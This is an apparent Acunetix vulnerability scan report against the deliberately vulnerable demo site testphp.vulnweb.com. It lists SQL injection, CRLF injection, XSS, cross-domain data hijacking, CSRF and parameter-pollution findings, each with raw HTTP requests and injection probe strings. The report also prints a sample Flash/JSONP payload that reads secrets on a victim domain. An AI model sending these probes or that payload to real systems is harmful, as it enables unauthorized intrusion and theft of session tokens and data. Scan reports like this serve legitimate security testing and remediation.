Additional details:

Source file: /hj/var/www//product.php line: 51

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"OyZCgACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /product.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"OyZCgACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/product.php

Details

URL encoded GET input pic was set to 1ACUSTART'"36NLOACUEND
Additional details:

Source file: /hj/var/www//product.php line: 68

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.pic_id=1ACUSTART'"36NLOACUEND "mysql_query" was called.

Request headers

```
GET /product.php?pic=1ACUSTART'%2236NLOACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
```

```
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

Cookie input login was set to 1ACUSTART'"zPfwgACUEND
Additional details:

Source file: /hj/var/www//search.php line: 44

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"zPfwgACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /search.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"zPfwgACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

URL encoded POST input searchFor was set to 1ACUSTART'"VQUzqACUEND
Additional details:

Source file: /hj/var/www//search.php line: 70

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND (LOCATE('1ACUSTART'"VQUzqACUEND', a.title) > 0 OR LOCATE('1ACUSTART'"VQUzqACUEND', a.pshort) > 0) "mysql_query" was called.

Request headers

```
POST /search.php?test=query HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

goButton=go&searchFor=1ACUSTART'%22VQUzqACUEND
```

/search.php

Details

URL encoded POST input searchFor was set to 1ACUSTART'"zUMOGACUEND
Additional details:

Source file: /hj/var/www//search.php line: 70

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND (LOCATE('1ACUSTART'"zUMOGACUEND', a.title) > 0 OR LOCATE('1ACUSTART'"zUMOGACUEND', a.pshort) > 0) "mysql_query" was called.

Request headers

```
POST /search.php?test=1 HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

searchFor=1ACUSTART'%22zUMOGACUEND
```

/search.php

Details

URL encoded GET input test was set to 1ACUSTART'"ZjAoKACUEND
Additional details:

Source file: /hj/var/www//search.php line: 60

SQL query: SELECT * FROM guestbook WHERE sender='1ACUSTART'"ZjAoKACUEND'; "mysql_query" was called.

Request headers

```
POST /search.php?test=1ACUSTART'%22ZjAoKACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

searchFor=1
```

/search.php

Details

URL encoded GET input test was set to 1ACUSTART'"FcQrhACUEND
Additional details:

Source file: /hj/var/www//search.php line: 60

SQL query: SELECT * FROM guestbook WHERE sender='1ACUSTART'"FcQrhACUEND'; "mysql_query" was called.

Request headers

```
POST /search.php?test=1ACUSTART'%22FcQrhACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
```

```
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

goButton=go&searchFor=
```

/secured/newuser.php

Details

URL encoded POST input uuname was set to 1ACUSTART'"hNesXACUEND
Additional details:

Source file: /hj/var/www//secured/newuser.php line: 16

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"hNesXACUEND' "mysql_query" was called.

Request headers

```
POST /secured/newuser.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=cijkmuel&
uuname=1ACUSTART'%22hNesXACUEND
```

/userinfo.php

Details

Cookie input login was set to 1ACUSTART'"jwVgJACUEND
Additional details:

Source file: /hj/var/www//userinfo.php line: 46

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"jwVgJACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"jwVgJACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

URL encoded POST input pass was set to 1ACUSTART'"971hPACUEND
Additional details:

Source file: /hj/var/www//userinfo.php line: 8

SQL query: SELECT * FROM users WHERE uname='eiveqlee' AND pass='1ACUSTART'"971hPACUEND'
"mysql_query" was called.

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

pass=1ACUSTART'%22971hPACUEND&uname=eiveqlee
```

/userinfo.php

Details

URL encoded POST input uname was set to 1ACUSTART'"6X99CACUEND
Additional details:

Source file: /hj/var/www//userinfo.php line: 8

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"6X99CACUEND' AND pass='g00dPa$$w0rD'
"mysql_query" was called.

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

pass=g00dPa%24%24w0rD&uname=1ACUSTART'%226X99CACUEND
```

Application error message

Severity	**Medium**
Type	Validation
Reported by module	Scripting (XSS.script)

Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Review the source code for this script.

References

PHP Runtime Configuration

Affected items

/listproducts.php

Details

URL encoded GET input artist was set to acu7276%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7276
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?artist=acu7276%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7276 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input artist was set to
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?artist= HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?cat= HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to acu10447%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10447
Error message found: You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?artist=1&cat=acu10447%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10447
HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/

Details

HTTP Header input Via was set to
Error message found: Warning: mysql_connect(): Lost connection to MySQL server at 'reading initial communication packet', system error: 111 in /hj/var/www/database_connect.php on line 2

Request headers

```
GET /Mod_Rewrite_Shop/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
```

/search.php

Details

URL encoded POST input searchFor was set to acux1861%C0%BEz1%C0%BCz2a%90bcxuca1861
Error message found: Warning: mysql_connect(): Lost connection to MySQL server at 'reading initial communication packet', system error: 111 in /hj/var/www/database_connect.php on line 2

Request headers

```
POST /search.php?test=query HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

goButton=go&searchFor=acux1861%C0%BEz1%C0%BCz2a%90bcxuca1861
```

/secured/newuser.php

Details

URL encoded POST input uuname was set to 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'e???
Error message found: You have an error in your SQL syntax

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 225
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=xcweuxpn&
uuname=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'e??
```

/showimage.php

Details

URL encoded GET input file was set to acu9559%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9559
Error message found: Warning: fopen(): Unable to access acu9559锛滃1锕　2屎s3使uca9559 in /hj/var/www/showimage.php on line 7

Warning: fopen(acu9559锛滃1锕　2屎s3使uca9559): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7

Request headers

```
GET /showimage.php?file=acu9559%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9559 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/showimage.php

Details

URL encoded GET input file was set to
Error message found: Warning: fopen(): Unable to access .tn in /hj/var/www/showimage.php on line 19

Warning: fopen(.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19

Request headers

```
GET /showimage.php?file=&size=160 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

CRLF injection/HTTP response splitting (verified)

Severity	**Medium**
Type	Validation
Reported by module	Scripting (CRLF_Injection.script)

Description

This script is possibly vulnerable to CRLF injection attacks.

HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure.
HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response.

Impact

Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies or HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation.

Recommendation

You need to restrict CR(0x13) and LF(0x10) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers.

References

Introduction to HTTP Response Splitting
Acunetix CRLF Injection Attack
Whitepaper - HTTP Response Splitting

Affected items

/redir.php

Details

URL encoded GET input r was set to ACUSTART ACUEND
Additional details:

Source file: /hj/var/www//redir.php line: 3

Request headers

```
GET /redir.php?r=ACUSTART%0d%0aACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Cross domain data hijacking

Severity	**Medium**
Type	Configuration
Reported by module	Scripting (XSS.script)

Description

This page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as Cross domain data hijacking. The Content-Type of the response doesn't matter. If the file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file.
Here is the attack scenario:
- An attacker creates a malicious Flash (SWF) file
- The attacker changes the file extension to JPG
- The attacker uploads the file to victim.com
- The attacker embeds the file on attacker.com using an tag with type "application/x-shockwave-flash"
- The victim visits attacker.com, loads the file as embedded with the tag
- The attacker can now send and receive arbitrary requests to victim.com using the victims session
- The attacker sends a request to victim.com and extracts the CSRF token from the response

There are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack.
A payload could look like this:
<object style="height:1px;width:1px;"
data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always"
flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>

Impact

An attacker can read any secrets (such as CSRF tokens) from the affected domain.

Recommendation

For file uploads: It is recommended to check the file's content to have the correct header and format. If possible, use "Content-Disposition: attachment; filename=Filename.Extension;" header for the files that do not need to be served in the web browser. Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain.

For other cases: For JSONP abuses or other cases when the attacker control the top part of the page, you need to perform proper input filtering to protect against this type of issues.

References

Cross Domain Data Hijacking
The pitfalls of allowing file uploads on your website

Affected items

/hpp/params.php

Details

URL encoded GET input p was set to CWS%07%0e000x%9c%3d%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP%22%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;%21S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93%22%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a%5ds%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e% ... (line truncated)

Request headers

```
(line truncated)
...d%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP%22%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;%21S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93%22%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a%5ds%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d%5b%17%f3/%5b%dcm%7b%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09&pp=12 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Cross site scripting (content-sniffing)

Severity	**Medium**
Type	Validation
Reported by module	Scripting (XSS.script)

Description

This type of XSS can only be triggered on (and affects) content sniffing browsers.
This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

XSS Annihilation
XSS Filter Evasion Cheat Sheet
How To: Prevent Cross-Site Scripting in ASP.NET
OWASP PHP Top 5
OWASP Cross Site Scripting
The Cross Site Scripting Faq
VIDEO: How Cross-Site Scripting (XSS) Works
Acunetix Cross Site Scripting Attack
Cross site scripting

Affected items

/showimage.php

Details

URL encoded GET input file was set to ./pictures/3.jpg'"()&%<acx><ScRiPt >vQqS(9149)</ScRiPt>

Request headers

```
GET
/showimage.php?file=./pictures/3.jpg'%22()%26%25<acx><ScRiPt%20>vQqS(9149)</ScRiPt>&size
=160 HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/showimage.php

Details

URL encoded GET input file was set to 1'"()&%<acx><ScRiPt >wYCD(9426)</ScRiPt>

Request headers

```
GET /showimage.php?file=1'%22()%26%25<acx><ScRiPt%20>wYCD(9426)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
```

```
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

HTML form without CSRF protection

Severity	**Medium**
Type	Informational
Reported by module	Crawler

Description

This alert may be a false positive, manual confirmation is required.
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

Impact

An attacker may force the users of a web application to execute actions of the attacker"s choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

Affected items

/

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/search.php?test=query
Form method: POST

Form inputs:

- searchFor [Text]
- goButton [Submit]

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/comment.php (1c5c505530b26c709422c7cf9a33ea84)

Details

Form name: fComment
Form action: http://testphp.vulnweb.com/comment.php
Form method: POST

Form inputs:

- name [Text]
- comment [TextArea]
- Submit [Submit]
- phpaction [Hidden]

Request headers

```
GET /comment.php?aid=3 HTTP/1.1
Pragma: no-cache
```

```
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/artists.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Form name: faddentry
Form action: http://testphp.vulnweb.com/guestbook.php
Form method: POST

Form inputs:

- name [Hidden]
- text [TextArea]
- submit [Submit]

Request headers

```
GET /guestbook.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp (fbc1d56ba0737d3fa577aa5a19c9fd49)

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Form method: GET

Form inputs:

- aaaa [Submit]

Request headers

```
GET /hpp/?pp=12 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/hpp/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/login.php

Details

Form name: loginform
Form action: http://testphp.vulnweb.com/userinfo.php
Form method: POST

Form inputs:

- uname [Text]
- pass [Password]

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php

Details

Form name: form1
Form action: http://testphp.vulnweb.com/secured/newuser.php
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

HTTP parameter pollution

Severity	**Medium**
Type	Configuration
Reported by module	Scripting (HTTP_Parameter_Pollution.script)

Description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.

Impact

The impact depends on the affected web application. An attacker could

- Override existing hardcoded HTTP parameters
- Modify the application behaviors
- Access and, potentially exploit, uncontrollable variables
- Bypass input validation checkpoints and WAFs rules

Recommendation

The application should properly sanitize user input (URL encode) to protect against this vulnerability.

References

HTTP Parameter Pollution

Affected items

/hpp/

Details

URL encoded GET input pp was set to 12&n914214=v908889
Parameter precedence: last occurrence
Affected link: params.php?p=valid&pp=12&n914214=v908889
Affected parameter: p=valid

Request headers

```
GET /hpp/?pp=12%26n914214%3dv908889 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
